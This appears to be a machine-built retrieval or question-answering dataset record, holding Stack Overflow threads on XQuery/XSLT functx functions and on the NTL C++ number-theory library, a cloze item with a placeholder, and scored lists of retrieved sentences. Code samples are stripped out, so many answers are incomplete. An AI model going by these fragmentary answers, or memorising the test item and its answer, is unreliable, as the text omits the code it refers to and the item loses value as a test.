index-of-match-first .. . . It is not sufficient to only declare the namespace . You must also have the code of the function . Only the standard XQuery and XPath functions and operators http : www.w3.org TR xpath-functions are predefined in the language . This corrected code : .. . .. . when applied on the provided XML document with several non-well-formedness errors corrected : .. . .. . produces the expected result : .. . .. . It is a good practice to use the import module http : www.w3.org TR xquery id-module-import directive to import modules from existing libraries of functions . Comment : Oh I thought these were pre-defined functions . Looks like they are reusable functions instead . Thanks a lot : Comment : @sony : It is a good practice to use the import module directive to import modules from existing libraries of functions Comment : +1 Good answer .", "Question : Is it possible to get the last day of the previous month in XSLT I found this function : http : www.xsltfunctions.com xsl functx last-day-of-month.html but I m not sure how to use it to get the previous month . .. . Answer : Use : .. . .. . This produces when evaluated on any day of May 2012 : Comment : For some reason current-date cannot be found as a valid XPATH XSLT function.. . Would you know why this is so Comment : @racer : Most likely you are trying to evaluate this XPath 2.0 expression with an XSLT 1.0 processor . From the fact that you mentioned using FunctX I concluded that you are using XSLT 2.0 . It is extremely difficult to produce the same result with pure XSLT 1.0 -- simply because XPath 1.0 doesn t have any date time processing built-in . In case you are limited to XSLT 1.0 then it is reasonable to use extension functions EXSLT if available or your host programming language -- if not .", "Question : How do I remove a new-line return from the end of a variable I tried functx : substring-before-last to try and remove the new line denoting it as r n and also as r n but still when I output that variable s value the newline is still there in it . .. . Answer : You can either use fn : normalize-space arg as xs : string http : www.w3.org TR xpath-functions func-normalize-space to remove all additional whitespace : .. . .. . Summary : Returns the value of arg with whitespace normalized by stripping leading and trailing whitespace and replacing sequences of one or more than one whitespace character with a single space x20 . Or you can just use fn : replace . . http : www.w3.org TR xpath-functions func-replace and a regular expression :", "Question : I m learning XSLT . These questions may be obvious but I m really stuck now . Oxygen returns the following two kind of errors : .. . .. . 1 . Namespace is not declared for ownFunction . undeclared namespace prefix xs .. . .. . 2 . unknown system function index-of-string .. . .. . The XSLT function index-of-string I got from this website http : www.xsltfunctions.com xsl functx index-of-string.html doesn t seems to be recognized .. . .. . This is a simplified version of the XSL file : Comment : Good question +1 . See my answer for detailed explanation of the two problems and for their solutions . .. . Answer : Use .. . .. . That samples defines the schema namespace and binds it to the prefix xs defines the namespace of the function library you linked to . You will also need to download the function library implementation and import it as shown . Comment : Okay this make sense : Comment : Thanks a lot I added the namespace and imported the function and it works", "Question : I found the following XQuery user-defined function in the O Reiily book XQuery and it is used to change the namespace of an XML file when it is printed : .. . .. . One example to call this function with is : .. . .. . returns : .. . .. . But what I ve got is : .. . .. . It appears that the original namespace is stripped but the new one has yet to be attached or is it simply that the processor doesn t print the namespace because the unaffected namespace declaration is also gone Comment : which processor are you using I tested your query on try.zorba-xquery.com http : try.zorba-xquery.com and it returns the correct result : text xmlns : pre pre pre : x xmlns : pre http : new pre : y 123 pre : y pre : x text . By the way : In your example not the namespace ist stripped only the prefix which is still correct in your example . Comment : Thx I m working on eXist and use its sandbox . I should ve tried it on other processors . .. . Answer : The eXist Sandbox results window unfortunately does not display namespace attributes @xmlns . But if you save your query as an .xq file and run it via your browser you ll see it actually is preserving the namespace information properly . By the way the next generation version of the Sandbox called eXide does display namespace info somewhat better . See the demo of eXide at http : demo.exist-db.org exist eXide index.html .", "Question : I found the following XQuery user-defined function in the O Reiily book XQuery and it is used to change the namespace of an XML file when it is printed : .. . .. . One example to call this function with is : .. . .. . returns : .. . .. . But what I ve got is : .. . .. . It appears that the original namespace is stripped but the new one has yet to be attached or is it simply that the processor doesn t print the namespace because the unaffected namespace declaration is also gone Comment : which processor are you using I tested your query on try.zorba-xquery.com http : try.zorba-xquery.com and it returns the correct result : text xmlns : pre pre pre : x xmlns : pre http : new pre : y 123 pre : y pre : x text . By the way : In your example not the namespace ist stripped only the prefix which is still correct in your example . Comment : Thx I m working on eXist and use its sandbox . I should ve tried it on other processors . .. . Answer : I have got a similar issue using a Saxon 9.3 implementation on OSB 11 . Strangely it works on Oxygen but it doesn t on OSB .", "Question : I have a XSLT style sheet for transforming . In this I have to specify user defined function using xsl : function . When I am about to do this within this xsl : stylesheet xsl : stylesheet it throws an error . Here is the function : Comment : What error do you get Comment : Also tell us which XSLT processor you use as xsl : function is a new feature in XSLT 2.0 which is not supported in any XSLT 1.0 processor of course . So unless you use Saxon 9 or AltovaXML or XQSharp or the XSLT 2.0 processors IBM and Intel provide you can t use xsl : function . Comment : Downvoted the question : telling us there is an error without telling us what the error is is not helpful . .. . Answer : The function defined in the question is syntactically correct and seems meaningful . Therefore the error is in the code that you forgot to show to us -- more specifically how this function is being used with what arguments . Apart from this there are obvious refactoring possibilities -- such as replacing the unnecessary string-join with concat .", "Question : I have a XSLT style sheet for transforming . In this I have to specify user defined function using xsl : function . When I am about to do this within this xsl : stylesheet xsl : stylesheet it throws an error . Here is the function : Comment : What error do you get Comment : Also tell us which XSLT processor you use as xsl : function is a new feature in XSLT 2.0 which is not supported in any XSLT 1.0 processor of course . So unless you use Saxon 9 or AltovaXML or XQSharp or the XSLT 2.0 processors IBM and Intel provide you can t use xsl : function . Comment : Downvoted the question : telling us there is an error without telling us what the error is is not helpful . .. . Answer : As @John Mitchell said telling us what the error is might be helpful . However I see you have the namespace declared on the function - make sure xmlns : functx http : www.functx.com is also declared in the xsl : stylesheet element at the top of your stylesheet . Another thing to check obviously is that you re entering your arguments correctly in the function-call : your first two parameters will need quotes but the third doesn t eg xsl : value-of select functx : pad-string-to-length boo - 12 .", "Question : I m learning XSLT . These questions may be obvious but I m really stuck now . Oxygen returns the following two kind of errors : .. . .. . 1 . Namespace is not declared for ownFunction . undeclared namespace prefix xs .. . .. . 2 . unknown system function index-of-string .. . .. . The XSLT function index-of-string I got from this website http : www.xsltfunctions.com xsl functx index-of-string.html doesn t seems to be recognized .. . .. . This is a simplified version of the XSL file : Comment : Good question +1 . See my answer for detailed explanation of the two problems and for their solutions . .. . Answer : Oxygen returns the following two kind of errors : .. . .. . 1 Namespace is not declared for ownFunction . undeclared namespace prefix xs .. . .. . This is actually an XML issue . Any XSLT stylesheet myst be a well-formed XML document . Among other requirements for well-formedness any namespace prefix used must be bound to a namespace URI in a namespace declaration . To correct this bind the xs prefix to http : www.w3.org 2001 XMLSchema -- this means to add xmlns : xs http : www.w3.org 2001 XMLSchema to an element usually the top element is a good choice for this namespace . You have the same problem with foo : ownFunction . You must have the prefix foo bound defined and visible before using it . Just add xmlns : foo my : foo to the top element of your stylesheet . 2 unknown system function index-of-string . The XSLT function index-of-string I got from this website doesn t seems to be recognized : http : www.xsltfunctions.com xsl functx index-of-string.html .. . .. . You have forgotten to either copy and paste the function from Priscilla Walmsley s site or to save it in a separate file recommended and then use xsl : import or xsl : include to import include this stylesheet file to your transformation . Finally such issues show that you need a more systematic introduction of XSLT . Get a good book and read it well . You won t be sorry . This answer http : stackoverflow.com questions 339930 any-good-xslt-tutorial-book-blog-site-online 341589 341589 may be useful in listing what I consider good XSLT and XPath learning resources . Comment : Thanks for the explanation I understand now Comment : @user737917 : You are welcome .", "Question : How do I remove a new-line return from the end of a variable I tried functx : substring-before-last to try and remove the new line denoting it as r n and also as r n but still when I output that variable s value the newline is still there in it . .. . Answer : CR and NL can be specified as 13 and 10 . The following regular expression will remove all trailing newlines from your input string : .. . .. . If you want to normalize all whitespaces of a string normalize-string is another more readable option : Comment : Leo is right I forgot that you can simply use r n within regular expressions . Comment : I tried your code-- this is the error I got I am using Saxon processor in a java app to process Xquery commands -- Caused by : net.sf.saxon.trans.XPathException : The regular expression in replace must not be one that matches a zero-length string at net.sf.saxon.functions.Replace.maybePrecompile Replace.java : 52 ... .", "Question : I want to check if a value exists in a sequence defined as .. . .. . In the past I ve had success with Priscilla Walmsleys function http : www.xqueryfunctions.com xq functx is-value-in-sequence.html . For clarity I reproduce it here as follows : .. . .. . However this time I need to make a case-insensitive comparison and so I tried to wrap both value and seq with a lower-case . Obviously that didn t help much as seq is a sequence and lower-case takes only strings . Question : what is the best way to either 1 construct a sequence of lower-case strings or 2 make a case-insensitive comparison analogous to value seq above TIA Comment : Are you using XSLT1 or 2 Comment : I m using XSLT2 . .. . Answer : Question : what is the best way to either 1 construct a sequence of lower-case strings .. . .. . Not many people realize that you can use a function as the last location step in an XPATH 2.0 expression . You can create a sequence of lower-case string values with this expression : .. . .. . or 2 make a case-insensitive comparison analogous to value seq above Using that strategy you can define a custom function that compares the lower-case value of the value and each string value in the seq : Comment : Oh - I like that Didn t know I could invoke the lower-case function like that although it makes a lot of sense . +1", "Question : I want to check if a value exists in a sequence defined as .. . .. . In the past I ve had success with Priscilla Walmsleys function http : www.xqueryfunctions.com xq functx is-value-in-sequence.html . For clarity I reproduce it here as follows : .. . .. . However this time I need to make a case-insensitive comparison and so I tried to wrap both value and seq with a lower-case . Obviously that didn t help much as seq is a sequence and lower-case takes only strings . Question : what is the best way to either 1 construct a sequence of lower-case strings or 2 make a case-insensitive comparison analogous to value seq above TIA Comment : Are you using XSLT1 or 2 Comment : I m using XSLT2 . .. . Answer : Use a for-expression inside the function to prepare a lower-case version of the sequence .. . .. . See Michael Kay s XSLT 2.0 and XPATH 2.0 4th ed p . 640 .. . .. . I haven t tested this Comment : thanks for the answer and sorry for the delay man . I worked around this quite some time before your answer and now that Mads answer brought my attention back on the topic I m gonna go for his solution as it was a little more specific . Thanks for the effort though" ] }
[ "yes-answer-long", "yes-answer-short" ]
xquery
UNK_RELATION
ntl@data-structures@84
ntl -- ntl is a high-performance portable c++ library licensed under gpl providing @placeholder and algorithms for arbitrary length integers for vectors matrices and polynomials over the integers and over finite fields and for arbitrary-precision floating-point arithmetic .
{ "confidence": [ 67.76947021484375, 56.41392135620117, 51.57179260253906, 51.269859313964844, 50.127777099609375, 49.71026611328125, 49.41957092285156, 48.78047180175781, 48.37436294555664, 46.82111358642578, 45.892478942871094, 45.51953887939453, 45.44232177734375, 45.180328369140625, 45.12825012207031, 45.121273040771484, 45.115291595458984, 44.73483657836914, 44.73483657836914, 44.683082580566406, 44.683082580566406, 43.76346969604492, 43.76186752319336, 43.74945831298828, 43.65485382080078, 42.62640380859375, 42.59054946899414, 42.59054946899414, 42.58456802368164, 42.58456802368164, 42.58456802368164, 42.245121002197266, 41.96199417114258, 41.96199417114258, 41.58374786376953, 41.56877517700195, 41.254276275634766, 41.159725189208984, 40.89768600463867, 40.89170455932617, 40.89170455932617, 40.83893966674805, 40.83893966674805, 40.53327560424805, 40.012664794921875, 39.938621520996094, 39.87591552734375, 39.774635314941406, 39.768653869628906, 39.768653869628906, 39.5614128112793, 39.5614128112793, 39.5614128112793, 39.53828048706055, 39.475257873535156, 39.25804901123047, 39.25804901123047, 39.054298400878906, 38.813232421875, 38.6906623840332, 38.6906623840332, 38.43836212158203, 38.43836212158203, 38.42264175415039, 38.39739227294922, 38.049034118652344, 37.76422882080078, 37.40789794921875, 37.40789794921875, 37.40685272216797, 37.341426849365234, 37.341426849365234, 37.131507873535156, 36.98426818847656, 36.92597961425781, 36.92597961425781, 36.8109016418457, 36.72038650512695, 36.309688568115234, 36.309688568115234, 36.309688568115234, 36.309688568115234, 36.309688568115234, 36.309688568115234, 36.309688568115234, 36.309688568115234, 36.309688568115234, 36.309688568115234, 36.153221130371094, 36.10198211669922, 36.042171478271484, 35.731693267822266, 35.71503448486328, 35.71503448486328, 35.71503448486328, 35.71503448486328, 35.71503448486328, 35.71503448486328, 35.71503448486328, 35.63348388671875 ], "content": [ "The description of ZZ says http : www.shoup.net ntl doc ZZ.cpp.html : big integers : signed arbitrary length integers .", "You either need to : .. . .. . look into whether or not NTL has arbitrary-precision floating-point capabilities .. . switch to a library that does have arbitrary-precision floating-point capabilities .. . convert your calculation to pure integer-arithmetic .. . .. . That last one is fairly easy here : you want", "I m currently using the NTL to handle large integers .", "I am using the NTL C++ Library .", "For polynomials I would use NTL http : www.shoup.net ntl and for big numbers I would choose openssl bignum .", "This data type is defined in Number Theory Library or NTL http : www.shoup.net ntl .", "But notice that you should compile NTL with GMP to get the best performance using big integers .", "Using NTL with GMP If you care about the performance of long arithmetic a good idea is to build NTL so that it uses GMP for the underlying long arithmetic .", "ZZ can output in c++ using .. . .. . because NTL is a c++ library .", "shoup.net ntl doc LLL.txt http : www.shoup.net ntl doc LLL.txt", "Example taken from the NTL documentation : .. . .. . Result : .. . .. . The NTL headers are in usr include NTL so they should be included .", "I m trying to calculate order of an element in finite-field Group using ntl .", "Has anyone uses NTL", "Pick one.. . Tag wiki says NTL is a C++ library .", "I ve checked ZZ.h does exist in ntl-6.0.0 include NTL", "An other way would be to add NTL : : to all the NTL functions and std : : to cout and endl .", "I am trying to use the G LLL XD function on the NTL library .", "How did you install NTL library", "I m extending a small library using NTL and GMP .", "Download the latest NTL library http : www.shoup.net ntl download.html extract it in your project .. . 6 .", "I m using the NTL library http : www.shoup.net ntl to implement ElGamal encryption decryption algorithm .", "This gives somehow better performance than plain NTL .", "I m learning NTL and I have a doubt : How will I be able to get any specific element of any finite-field", "2 There is no such a thing as documentation for NTL .", "The documentation of NTL could be much better .", "NTL builds but with warnings .", "See here for example shoup.net ntl doc tour-ex1.html http : www.shoup.net ntl doc tour-ex1.html", "This documentation shoup.net ntl doc vector.txt http : www.shoup.net ntl doc vector.txt disagrees with you .", "I am using the NTL library for a RSA cryptanalysis implementation .", "Here is the answer in NTL library the conversion has been provided in tools namespace .", "Does anyone have any idea of the usage of the LLL function in the NTL library", "In C we can initialize a table with : .. . .. . int array 3 1 2 3 .. . .. . How can we do such a thing with NTL vectors", "There is no matching call for a floor : NTL : : ZZ .", "Anyone know how to do this in ntl :", "The suffix FP marks the precision since the calculations are done in floating-point arithmetic .", "I downloaded the latest package NTL 6.0.0 from http : www.shoup.net ntl download.html unpacked it and ran the configure script .. . .. . to indicate that I want the package to be installed in a directory HOME NTL and that GMP is already installed in a standard place .", "NTL uses the rows of the matrix as basis of the lattice .", "The problem is that the big numbers must be the coefficients of the polynomials which in NTL are either ZZ or ZZ p .", "@Gugi without OpenMP the program works about NTL I think that my debugger need NTL configuration .", "I have downloaded and installed the NTL library on my Ubuntu .", "@user3159253 I installed the library following the instructions on the NTL website .", "In the Project Name edit type NTL .", "include NTL zz.h compilation terminated .", "I dont found a argument prune for LLL function in NTL .", "If full path to zz.h is cygdrive c cygwin home Win7 WinNTL-9 2 0 include NTL zz.h then NTL should not be included in path specified in gcc arguments .", "How I will be able to get the int representation in Galois Field using NTL library .", "Functions in NTL that uses randomness are using the random number gernerators that you can find in NTL ZZ Pseudo-Random Numbers http : www.shoup.net ntl doc ZZ.cpp.html .", "I have sent an E-Mail to the author of NTL in the hopes that my changes will be incorporated in the next version of NTL .", "I am working with the NTL library with is used for large numbers .", "However NTL library for windows only requires to unzip the file .", "Simple follow this help step by step Compiling NTL .", "The below code be used to transfer from NTL to ZZ .", "I did compiled NTL 9.10.0 with GMP 6.1.1 .", "I m trying to study part of the NTL functionality related to finite-field arithmetics but something weird is happening .", "Programmed in C++ I was using NTL but the do not provide a method to do that .", "Save NTL in a path like it : C : Library WinNTL-5 5 2 and follow instructions of site .", "How I can install gmp and ntl library for c++ in HOME directory which will be visible for my program", "On the other hand ZZ is a full-blown class that needs to manage its memory and is able to operate on arbitrary-length integers .", "Notice : To use this code snippet you have to import the namespaces NTL and std to your programm by using using namespace NTL and using namespace std after your includes .", "I m trying to perform a multiplication of polynomials of degree 4096 using ZZ pEX class from NTL .", "I use CanZass function in NTL to factorize it and then I use FindRoots to find the monic polynomials roots .", "The problem is in include directory in NTL all files are .h .", "yes how to interpret the NTL representation : thanks", "I m trying to use the Number Theory Library NTL to do some research .", "NTL is a good high performance math library but there are a lot of things that make working with this libary hard.. . Everyone I know has problems with the datatypes as you mentioned when you try to multiply RR and ZZ .", "I am following the instructions from : http : www.shoup.net ntl doc tour-win.html .. . .. . I created a new Win32 project named ntl .", "Also before even writing that I d ve checked the documentation to see if integer floating-point actually exists in the library -- usually for that to be useful at all you need arbitrary-precision floating types available .", "I am learning to use the NTL library currently especially for the LLL algorithm later .", "I try to find or learn what a division algorithm use NTL Number Theory Library and complexity of this algorithm .", "Here below Building and using NTL with GMP are the detailed steps you need to follow in order to compile NTL with GMP : http : www.shoup.net ntl doc tour-gmp.html .. . .. . Have fun", "I don t know the library but if it is the one described at shoup.net ntl doc tour-ex1.html http : www.shoup.net ntl doc tour-ex1.html apparently it has SqrRoot -- integer part of square-root .", "I want to install ntl with flags .. . .. . Which I done perfectly but I don t know how to install gmp locally and access GMP from ntl library", "Then I clicked in Project - Properties - Configuration Properties - C C++ - Additional Include Directories and I selected the include directory in the NTL library folder .", "If I understand you right the question is how to interpret the NTL representation 3 1 1 4 2 1 3 2 1 0 3 1 1 of a polynomial over the finite-field with 5 elements .", "I have downloaded NTL version 6.1.0 from http : www.shoup.net ntl download.html and having trouble compiling it in Visual Studio 2013 .", "The documentation http : www.shoup.net ntl doc tour-win.html only shows how to compile NTL in MSVC++ 6 which is not working in my case .", "I m using NTL for convenience and to conform to existing APIs but I ll be switching to GMP and MPFR for the really performance-critical stuff .", "Incidentally even if you had arbitrary-precision floating-point available the pure integer version is still probably the better way to do the calculation .", "If ntl m and gmp libraries are usually installed to somewhere in the default path e.g .", "If I use using namespace NTL instead of NTL CLIENT nothing changes :", "However NTL does not support conversion from ZZ to hexadecimals as I checked .", "In one of include directories there should be a subdirectory called NTL and readable ZZ.h in it .", "somehow I have to get answer in NTL with reliable way coding .", "Any help would be appreciated and any references for the NTL would be greatly appreciated .", "I use archlinux and I install ntl from pacman by default .", "I want to give the values for a matrix parameter mat ZZ p A for the mat ZZ p type in NTL .", "Is there any optimization I can use on NTL to solve this operations faster", "Once I had a massiv slowdown after compiling NTL with GMP .", "From the documentation http : www.shoup.net ntl doc LLL.txt : .. . .. . NOTE : use of deep is obsolete and has been deprecated .", "NTL is a powerful and well-written library for long-integer and other crypto-related arithmetic but it obviously cannot beat the efficiency of builtin types for small numbers .", "Also if full path to zz.h is cygdrive c cygwin home Win7 WinNTL-9 2 0 include NTL zz.h then NTL should not be included in path specified in gcc arguments .", "In order to test such high numbers I cannot use a C++ int so I am using the NTL library using the type ZZ as my number type .", "I m trying to use NTL library but I always get compiler errors about undefined symbols .", "I am trying to configure NTL library in my first Visual Studio 2010 project .", "Then from Project - Add Existing Items and selected all the files in the src file NTL library folder .", "Icreated a folder called include within the .cpp folder and included the NTL library in that folder already .", "Your error message indicates that you use NTL incorrectly because it stops in a library function .", "How can I accomplish what I want to do which is to floor the function while using the NTL library", "Here is how I m trying to it : .. . .. . Im new to the NTL library and it is very confusing so far .", "I m programming using C++ and ntl library but using profile the code below is slow when the galois-field GF 2 q have q 8 ." ] }
{ "confidence": [ 99.03104400634766, 90.04742431640625, 78.68182373046875, 76.83660888671875, 68.85999298095703, 66.94880676269531, 65.76946258544922, 65.33023071289062, 64.7892074584961, 63.0363883972168, 62.31254959106445, 60.671077728271484, 60.335941314697266, 60.01884460449219, 59.84467315673828, 58.78165817260742, 58.750335693359375, 58.50796890258789, 57.28925323486328, 56.86323547363281 ], "content": [ "Question : I m trying to implement Threshold Elgamal https : www.scs.carleton.ca sites default files course page secretsharing.pdf and I need a library that supports both big numbers and polynomials . For polynomials I would use NTL http : www.shoup.net ntl and for big numbers I would choose openssl bignum . The problem is that the big numbers must be the coefficients of the polynomials which in NTL are either ZZ or ZZ p . The description of ZZ says http : www.shoup.net ntl doc ZZ.cpp.html : big integers : signed arbitrary length integers . Is this enough .. . Answer : ZZ can store any integer you want . ZZ p represents numbers modulo p any intager not necessarily prime where p is of type ZZ so it can also be any positive integer you want . The classes for polynomials are ZZX and ZZ pX . Here is the limitation that the degree of the polynomials have to be of type long so I think it has an upper bound of 2 -1 since the degree is a signed long and the zero polynomial has degree -1 by definition in NTL . But notice that you should compile NTL with GMP to get the best performance using big integers .", "Question : I am building a C++ program to verify a mathematical conjecture for up to 100 billion iterations . In order to test such high numbers I cannot use a C++ int so I am using the NTL library using the type ZZ as my number type . My algorithm looks like this : .. . .. . I have the two libraries being imported : .. . .. . But obviously this cannot compile because I get the error : .. . .. . Stating that the floor mathematical operation cannot accept a ZZ class type . But I need the numbers to be pretty big . How can I accomplish what I want to do which is to floor the function while using the NTL library Comment : Looks like n squrt 2 is returning a double instead of an NTL : : ZZ Maybe your library has its own squrt function Comment : I don t know the library but if it is the one described at shoup.net ntl doc tour-ex1.html http : www.shoup.net ntl doc tour-ex1.html apparently it has SqrRoot -- integer part of square-root . So you could try something like SqrRoot 2 n n assuming n is positive and -SqrRoot 2 n n otherwise . Comment : Thanks guys . I have changed my algorithm to have floor SqrRoot 2 n n . The SqrRoot now returns a ZZ but still there is not floor function in the NTL library or C++ libraries that accepts a ZZ which is the real problem listed above . There is no matching call for a floor : NTL : : ZZ . Need more help . Comment : Why do you need to apply floor According to what I quoted SqrRoot already returns the integer part of the square-root . Comment : . . specifically the header comments x floor a 1 2 a 0 .. . Answer : Note that it doesn t really make sense to apply floor to an integral type well it does it s just a no-op . What you should be really worried about is the fact that your code is apparently passing something of type ZZ into floor That is what can n sqrt 2 possibly mean here Also before even writing that I d ve checked the documentation to see if integer floating-point actually exists in the library -- usually for that to be useful at all you need arbitrary-precision floating types available . .. . .. . Checking through the headers there is only one multiplication operator : .. . .. . and there is a conversion constructor : .. . .. . I can t figure out how your code is even compiling . Maybe you re using a different version of the library than I m looking at and the conversion constructor is implicit and your double is getting promoted to a ZZ . This is surely not what you want since promoting sqrt 2 to a ZZ is simply going to give you the integer 1 . You either need to : .. . .. . look into whether or not NTL has arbitrary-precision floating-point capabilities .. . switch to a library that does have arbitrary-precision floating-point capabilities .. . convert your calculation to pure integer-arithmetic .. . .. . That last one is fairly easy here : you want Comment : Incidentally even if you had arbitrary-precision floating-point available the pure integer version is still probably the better way to do the calculation . Comment : Thanks @Hurkyl for all your information . The thing I really needed was just the last bit you mentioned . This is for a class and there are requirements for libraries to be used and how to set this up so I was under the constraints I mentioned above . What I really needed to know was the SqrRoot NTL function returned an rounded off int which was what I needed .", "Question : This is more a runtime and or time-complexity question than a cryptography problem so please continue reading : .. . .. . in university we have to implement a brute-force discrete logarithm algorithm to find the secrets in a diffie-hellman exchange and I started to implement it with C++ and the NTL library so I wouldn t have to worry about datatypes and large primes . My example numbers are the following with a 25 bit prime and we want to find the discrete logarithm : .. . .. . I implemented the following in C++ with NTL : .. . .. . output 7.581s : .. . .. . Well I thought that s really long so I tested it without NTL and normal long s in C++ - imagine all ZZ replaced by long 0.124s : .. . .. . Can someone please explain me why the NTL is that much slower Please keep in mind that I am no expert in this field and just trying to figure out cryptography basics and how to implement those in easy examples . Thank you .. . Answer : In general . NTL is a powerful and well-written library for long-integer and other crypto-related arithmetic but it obviously cannot beat the efficiency of builtin types for small numbers . Notice that when using long type all the operations translate to single cpu instructions . It is as fast as it can get but is limited to 32 64 bits . On the other hand ZZ is a full-blown class that needs to manage its memory and is able to operate on arbitrary-length integers . This comes at a price . Possible optimizations . Having said that you can try and optimize things a bit taking into account the fact that ZZ is a class so it may make sense to e.g . avoid creation of unnecessary temporary objects . For example consider the line .. . .. . it calls operator on two objects and assigns the new value to x again . Looking at the implementation of it we see : .. . .. . so a new temporary object is created and returned . I think it would be more efficient to call .. . .. . since the implementation of operator avoids the temporary creation .. . .. . Using ZZ p . Another thing to consider is that you are essentially doing arithmetic in Z p i.e . in Z modulo p so probably you would like to use class ZZ p that performs the reduction automatically when necessary . Using NTL with GMP If you care about the performance of long arithmetic a good idea is to build NTL so that it uses GMP for the underlying long arithmetic . This gives somehow better performance than plain NTL . Comment : thank you for this long answer . shortly after i posted this i found out about ZZ p and also changed the new assignment to . i am now at 1.7s but that s still a lot slower than i would want it to be . so yes of course you are right and i might consider looking into GMP : thank you", "Question : There is code is written using NTL library : .. . .. . The output is : .. . .. . For example 1 2 3 is mean 3x + 2x + 1 . What the form of notation polynomial over GF in this case Comment : This is C++ not C .. . Answer : Your question is a little bit difficult to understand . If I understand you right the question is how to interpret the NTL representation 3 1 1 4 2 1 3 2 1 0 3 1 1 of a polynomial over the finite-field with 5 elements . First : The elements in the finite-field with 5 elements called GF 5 are represented as the polynomials GF 5 X mod f where f is an irreducible polynomial of degree 4 . This means a polynomial over GF 5 is a Polynomial where the coefficients are polynomials in GF 5 X mod f . So 3 1 1 4 2 1 3 2 1 0 3 1 1 can be interpreted as .. . .. . Notice : The comment in .. . .. . is a little bit misleading . random f 3 sets f to a random polynomial of degree less than 3 . SetCoeff f 3 sets the coefficient of Y to 1 and after that it is a polynomial of degree 3 . Comment : yes how to interpret the NTL representation : thanks", "Question : I would like to know how would one represent infinity if there is no built-in function for you to do so . I know that if we are using float or double we will be able to use infinity with include limits . But if I need to use int or in the case of NTL ZZ how should I represent infinity Should I write something new How is it represented in C++ Edit : I m posing this question because I would like to implement an addition algorithm for point on an elliptic-curve . So I ll need infinity to represent the point of infinity . I was wondering if I ll be better off using projective coordinates and have 0 : 1 : 0 to represent the point at infinity but wanted to explore the infinity in int or ZZ option first . Comment : How do you need to use infinity as an int In what context Comment : There s no convention to represent infinity for integers meaning the arithmetic operations you can do with integers have no clue about handling or generating infinite values . That happens because nearly nobody has a use for infinity when working with integers . Perhaps you should tell us why you think you need infinity . Comment : Hi @nhgrif @DanielKO I ll add why I need infinity to the question . .. . Answer : In general if you are running into infinity on a finite precision machine then you are not addressing the problem at hand correctly with your computational approach . You should either analytically deal with the infinity before hand or find a means to appropriately avoid it in finite precision . For instance if you had to deal with f x sin x x you probably wouldn t want to let your code evaluate this in finite precision at x 0 . Instead you would want to check if x is 0 and then return f 0 1.0 . Comment : What about just a symbolic representation such that it acts in a general sense as infinity would", "Question : How I will be able to get the int representation in Galois Field using NTL library . For example of element .. . .. . I m trying use .. . .. . but I get 0 .. . Answer : GF2E is an extension field i.e . the elements in GF2E are living in GF 2 X P where P is an irreducable polynomial . So you can not get an integer representation . But you can get a representation as a vector . Notice : To use this code snippet you have to import the namespaces NTL and std to your programm by using using namespace NTL and using namespace std after your includes . An other way would be to add NTL : : to all the NTL functions and std : : to cout and endl . See this tutorial http : www.cplusplus.com doc tutorial namespaces for more information about namespaces . Comment : thanks for saving me time Comment : Is there a way to get the integer representation of that vector i.e . in a way that the highest degree coefficient is the MSB of that integer and the coefficient of x 0 is the LSB when using the method BytesFromGF2X it results in a weird representation which is neither big endian nor little endian Comment : @Bush The Elements in GF2E are not numbers but polynomials . so the vector represents the exponents . I think there is no canonical way of representing this polynomials as an integer .", "Question : I am learning to use the NTL library currently especially for the LLL algorithm later . Does anyone have any idea of the usage of the LLL function in the NTL library Thanks in advance . Comment : do you need anything beyond the documentation at e.g . shoup.net ntl doc LLL.txt http : www.shoup.net ntl doc LLL.txt Comment : @mc110 : I saw this documentation . But how do you use the LLL function i.e . can you give an example .. . Answer : From the documentation : .. . .. . You can use the LLL function by calling e.g . The suffix FP marks the precision since the calculations are done in floating-point arithmetic . This is done for speedup the LLL algorithm . If you need better prezision you can choose one of the other suffixes QP XD or RR . Notice that B has to be a matrix of type ZZ . NTL uses the rows of the matrix as basis of the lattice . I ran into this problem due to Prof . C.P . Schnorr writes a lattice basis as columns .. . .. . After thereduction the LLL-reduced basis overrides your input matrix B . If you need the transition matrix U that do the reducktioin U B B LLL you can call .. . .. . I hope this helps . Comment : Can the matrix B be non-square Comment : I think yes but maybe it has to be a basis that means it has to have mor columns than rows . but you can easily test this .", "Question : null .. . Answer : I m computing polynomial modular inverses in a ring built over the nth-cyclotomic polynomial with n power of 2 . These inverses are computed for polynomials with the coefficient of x 0 equal to x+1 and others sampled from some random distribution but always equal 0 or x for some integer x . .. . .. . I m able to use NTL s InvMod to compute the inverse of several polynomials however for big instances of the described ones it took just forever to return . I did compiled NTL 9.10.0 with GMP 6.1.1 . Is there any optimization I can use on NTL to solve this operations faster This is a minimum code : Comment : Once I had a massiv slowdown after compiling NTL with GMP . If this is not the case you can try to activate the thread boosting feature introduced with version 9.5 .", "Question : In C we can initialize a table with : .. . .. . int array 3 1 2 3 .. . .. . How can we do such a thing with NTL vectors I guess I have declared the vector and already set its length . For instance : .. . .. . vec ZZ vector .. . .. . vector.SetLength 3 .. . .. . Thanks for your help . Comment : C or C++ Pick one.. . Tag wiki says NTL is a C++ library . .. . Answer : Refer the manual here http : www.shoup.net ntl doc vector.txt .. . .. . I dont think you can initialize the way you want it because when you declare .. . .. . It creates an empty vector of size zero . If we have to initialize it then you will have assign another vector to it or set a length and add values to it . Vec T v is an object and you can assign only an object . May be you inherit Vec class and overload the operator so that you can assign array to it .", "Question : In C we can initialize a table with : .. . .. . int array 3 1 2 3 .. . .. . How can we do such a thing with NTL vectors I guess I have declared the vector and already set its length . For instance : .. . .. . vec ZZ vector .. . .. . vector.SetLength 3 .. . .. . Thanks for your help . Comment : C or C++ Pick one.. . Tag wiki says NTL is a C++ library . .. . Answer : As I mentioned in my earlier answer you can inherit the Vec class as shown below . Dont forget to use the C++11 flag when compiling. . I use ubuntu env and I use the following", "Question : I m using the NTL library http : www.shoup.net ntl to implement ElGamal encryption decryption algorithm . I ve got it to the point that it s working but the algorithm wants the message to be converted to integers so it can be encrypted . So if i input a number like 1234 everything works ok but how would i go to be able to convert a C++ string std : : string to a ZZ number and then back from that ZZ number to a string LE : .. . .. . ZZ it s a class that represent a large number . Ex : 18287348238476283658234881728316274273671623781254124517353 .. . .. . So basically i m looking to take Hello World for example and run it char by char and get the ascii code of the chars so i ll get a number : 72 101 108 108 111 32 87 111 114 108 100 .. . And then i need to convert this number back to string Hello World .. . .. . Or maybe there s a better way . Comment : What is ZZ number Frankly I tried Google couldn t find it Comment : ZZ is NTL s infinite-precision integer class . .. . Answer : Here is an easy way to do it : .. . .. . Now notice that :", "Question : I m learning NTL and I have a doubt : How will I be able to get any specific element of any finite-field Here is my code .. . .. . I want change the function random GF2E by any other to get a 